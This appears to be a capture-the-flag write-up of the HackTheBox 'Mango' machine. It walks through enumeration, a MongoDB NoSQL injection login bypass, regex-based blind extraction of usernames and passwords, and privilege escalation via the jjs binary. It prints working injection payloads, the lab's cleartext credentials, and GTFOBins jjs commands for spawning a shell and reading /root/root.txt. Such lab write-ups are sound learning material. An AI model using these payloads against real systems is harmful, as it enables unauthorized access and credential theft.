Post

HTB Mango CTF Writeup

Medium-rated Linux box. A NoSQL injection in a MongoDB-backed login form extracts credentials character by character via regex blind injection. SSH access pivots to another user whose GTFOBins jjs Java binary escalates to root.

HTB Mango CTF Writeup

HTB Mango CTF

Summary

Mango is a Medium-difficulty Linux machine featuring NoSQL injection and GTFObins-based privilege escalation. Initial enumeration reveals domains mango.htb and staging-order.mango.htb via SSL certificate inspection. The staging login form at http://staging-order.mango.htb/ is vulnerable to NoSQL injection, allowing authentication bypass with the payload username[$ne]=toto&password[$ne]=toto. Exploiting the NoSQL injection further using regex operators ($regex=^) enables character-by-character enumeration of usernames and passwords, revealing credentials for two users: admin:t9KcS3>!0B#2 and mango:h3mXK8RhU~f{]f5H. SSH access is gained as the mango user, followed by horizontal privilege escalation to admin using the extracted password. The /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs binary is found to be owned by the admin group. Leveraging GTFObins, the jjs binary’s file read capability is exploited to directly read the root flag without obtaining a full root shell.

Service Enumeration

I run:

1
nmap -A -vv -oN scans/nmap.initial 10.129.40.96

And get the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     syn-ack Apache httpd 2.4.29
|_http-title: 403 Forbidden
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open  ssl/http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: Host: 10.129.40.96; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Server Enumeration - 443

I access the web server on port 443. It warns be about the self-signed certificate. I click to “view certificate”. The certificate tells me some important details about the application:

image.webp

This includes two domains:

1
2
staging-order.mango.htb
mango.htb

And a potential username:

I add the domains to my /etc/hosts file:

1
echo 10.129.40.96 mango.htb staging-order.mango.htb | sudo tee -a /etc/hosts

The web server on port 443 seems to be serving a single website though. If I access:

1
2
3
https://mango.htb/ or 
https://staging-order.mango.htb/ or
https://10.129.40.96/

They all lead to the same webpage:

image.webp

The name “mango” makes me thing of mongo db.

Directory Enumeration

Enumerate for directories and valid php endpoints:

1
ffuf -u https://10.129.40.96/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -e .php -t 50 -fw 20

But nothing is found here, beyond

Subdomain Enumeration

1
ffuf -u https://mango.htb/ -k -H "Host: FUZZ.mango.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -fs 5152

SQL Injection

I test for SQL injection in this search function:

1
ffuf -u https://10.129.40.96/ --data 'search=aFUZZ' -w /usr/share/wordlists/SecLists/Fuzzing/Databases/SQLi/Generic-SQLi.txt -H "Content-Type: application/x-www-form-urlencoded" -fs 5167

Web Server Enumeration - port 80

Subdomain Enumeration

I scan the web server twice with different wordlists. First one:

1
ffuf -u http://mango.htb/ -H "Host: FUZZ.mango.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -fw 20

And second one:

1
ffuf -u http://mango.htb/ -H "Host: FUZZ.mango.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -fw 20

But no results.

Directory Bruteforce

I run:

1
ffuf -u http://staging-order.mango.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -e .php -t 50 -fw 20

But I get only two files:

1
2
index.php               [Status: 200, Size: 4022, Words: 447, Lines: 210, Duration: 5243ms]
home.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 266ms]

Nothing really interesting here.

NoSQL Injection - Authentication Bypass

I’m able to bypass authentication on the login form at http://staging-order.mango.htb/ by injecting NoSQL statements into the application’s query.

I use random credentials on the login form to have a valid login request captured on burpsuite:

image.webp

And this is how the login request, alongside the server response look like:

image.webp

When the server receives invalid credentials, it returns a 200 OK status code. There are many online resources that serve as a database for possible NoSQL injection payloads. I use the following payload:

1
username[$ne]=toto&password[$ne]=toto&login=login

As you can see from the screenshot below:

image.webp

The server responds with a 302 status code, indicating the login was a success. It redirects me to “home.php”. However, there’s nothing here:

image.webp

I look at the source code for this page, and see nothing either. Was the login bypass here just a rabbit hole?

NoSQL Injection - Username + Password Enumeration

Following PayloadsAllTheThings, I see we can abuse NoSQL injection not only to bypass login, but also to extract length and data information:

image.webp

I prepare a python script that will enumerate for valid users in this application

image.webp

For instance, this is how the first request (to discover there’s a username that starts with the letter a) looks like:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=gt9qemefqtivb3hs2u37u4q17a
Content-Length: 60

username%5B%24regex%5D=%5Ea&password%5B%24ne%5D=&login=login

The POST data is url-encoded. I decode it to:

1
username[$regex]=^a&password[$ne]=&login=login

So as you can see, the script uses this regex operator to enumerate the username character by character until there’s no more matches. It’ll continue like:

1
2
3
4
5
username[$regex]=^aa&password[$ne]=&login=login

and then

username[$regex]=^ad&password[$ne]=&login=login

Until more matches are found. Ultimately, it returns me two valid users:

1
2
3
[*] Total usernames found: 2
    1. admin
    2. mango

I use the same script, but now I’m using the “password” mode to discover the password for the “admin” user:

image.webp

This is how the command looks like:

1
python3 nosql.py -u http://staging-order.mango.htb/ -m password -U admin -c form -p http://127.0.0.1:8080 --threads 10

As you can see from the screenshot above, it works, and now I have the cleartext password for the admin user:

1
2
Username: admin
Password: t9KcS3>!0B#2

I do the same for the other user “mango” and it also works. Now I have the cleartext password for “mango” as well:

1
2
Username: mango
Password: h3mXK8RhU~f{]f5H

I save both passwords to “passwords.txt” just in case:

1
2
t9KcS3>!0B#2
h3mXK8RhU~f{]f5H

Initial Access - SSH as “mango”

I use the credentials from before to log in as “mango” via SSH:

It works, and now I’m logged in as “mango”:

image.webp

Horizontal Privilege Escalation - admin

I notice there’s an “admin” user in the system:

1
2
3
4
5
6
mango@mango:~$ ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Oct 23  2023 .
drwxr-xr-x 23 root  root  4096 Oct 23  2023 ..
drwxr-xr-x  2 admin admin 4096 Dec 18 19:09 admin
drwxr-xr-x  4 mango mango 4096 Oct 23  2023 mango

Since I have that other password for “admin”, I try loggin in, and I use that same password extracted from the NoSQL injection:

1
su admin

It works, and now I’m “admin”:

image.webp

Vertical Privilege Escalation

I locate for files owned by the user “admin”, but have no luck. I then search for files owned by GROUP “admin”, and find something odd:

1
2
3
4
$ find / -group admin 2>/dev/null  |  grep -v proc

<SNIP>
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

This “jjs” binary is well-known, and has its own entry in GTFObins:

image.webp

The first payload I try is to get a shell. It’s described under the “suid” tab in GTFObins:

1
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

It crashes my shell. GTFObins warns me:

This has been found working in macOS but failing on Linux systems.

So I guess this exploit won’t work here. I log back in via SSH and try the “file read” one that also seems promising:

1
2
3
4
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

I run it, and it spits out the root flag:

image.webp

Things Learned

Here are some of the things I learned from this box

NoSQL in PHP applications

The stuff with JSON objects is way more prone to happen in NodeJS applications. When dealing with a PHP webapp like this one, for NoSQL injection, I’d be good with:

1
username[$ne]=toto&password[$ne]=toto&login=login

No need for Content-Type: application/json or anything like that.

NoSQL Username + Pasword Enumeration - Automated Script

Using certain NoSQL operators it’s possible to enumerate valid usernames and also get the cleartext password for each user.

I developed a python script and posted it on github. This will assist me in future engagements where the app is vulnerable to NoSQL injection.

This post is licensed under CC BY 4.0 by the author.